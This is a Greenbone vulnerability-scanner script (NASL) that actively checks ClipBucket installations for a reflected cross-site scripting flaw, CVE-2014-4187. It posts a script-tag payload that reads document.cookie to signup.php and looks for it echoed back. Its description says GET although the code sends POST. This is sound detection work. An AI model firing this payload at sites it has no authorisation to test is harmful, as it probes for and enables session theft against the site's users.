ClipBucket < 2.7 XSS Vulnerability - Active Check

# SPDX-FileCopyrightText: 2014 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:oxygenz:clipbucket";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.804641");
  script_version("2026-06-12T07:09:59+0000");
  script_tag(name:"last_modification", value:"2026-06-12 07:09:59 +0000 (Fri, 12 Jun 2026)");
  script_tag(name:"creation_date", value:"2014-06-18 11:17:33 +0530 (Wed, 18 Jun 2014)");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");

  script_cve_id("CVE-2014-4187");

  script_tag(name:"qod_type", value:"remote_analysis");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("ClipBucket < 2.7 XSS Vulnerability - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2014 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_clipbucket_http_detect.nasl");
  script_mandatory_keys("clipbucket/http/detected");
  script_require_ports("Services/www", 80);

  script_tag(name:"summary", value:"ClipBucket is prone to a cross-site scripting (XSS)
  vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"insight", value:"Input passed via the HTTP POST parameter 'Username' to
  'signup.php' script is not properly sanitised before returning to the user.");

  script_tag(name:"impact", value:"Successful exploitation will allow attacker to execute arbitrary
  HTML and script code in a user's browser session in the context of an affected site.");

  script_tag(name:"affected", value:"ClipBucket version 2.6 revision 738. Other versions may also
  be affected.");

  script_tag(name:"solution", value:"Update to version 2.7 beta or later.");

  script_xref(name:"URL", value:"http://seclists.org/bugtraq/2014/Jun/119");
  script_xref(name:"URL", value:"http://packetstormsecurity.com/files/127098");
  script_xref(name:"URL", value:"http://www.securityfocus.com/archive/1/archive/1/532432/100/0/threaded");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");

if (!port = get_app_port(cpe: CPE, service: "www"))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

if (dir == "/")
  dir = "";

url = dir + "/signup.php";

headers = make_array("Content-Type", "application/x-www-form-urlencoded");

data = 'username="><script>alert(document.cookie)</script>';

req = http_post_put_req(port: port, url: url, data: data, add_headers: headers);
res = http_keepalive_send_recv(port: port, data: req);

if (res =~ "^HTTP/1\.[01] 200" && '><script>alert(document.cookie)</script>' >< res &&
    '>Clipbucket' >< res) {
  report = http_report_vuln_url(port: port, url: url);
  security_message(port: port, data: report);
  exit(0);
}

exit(99);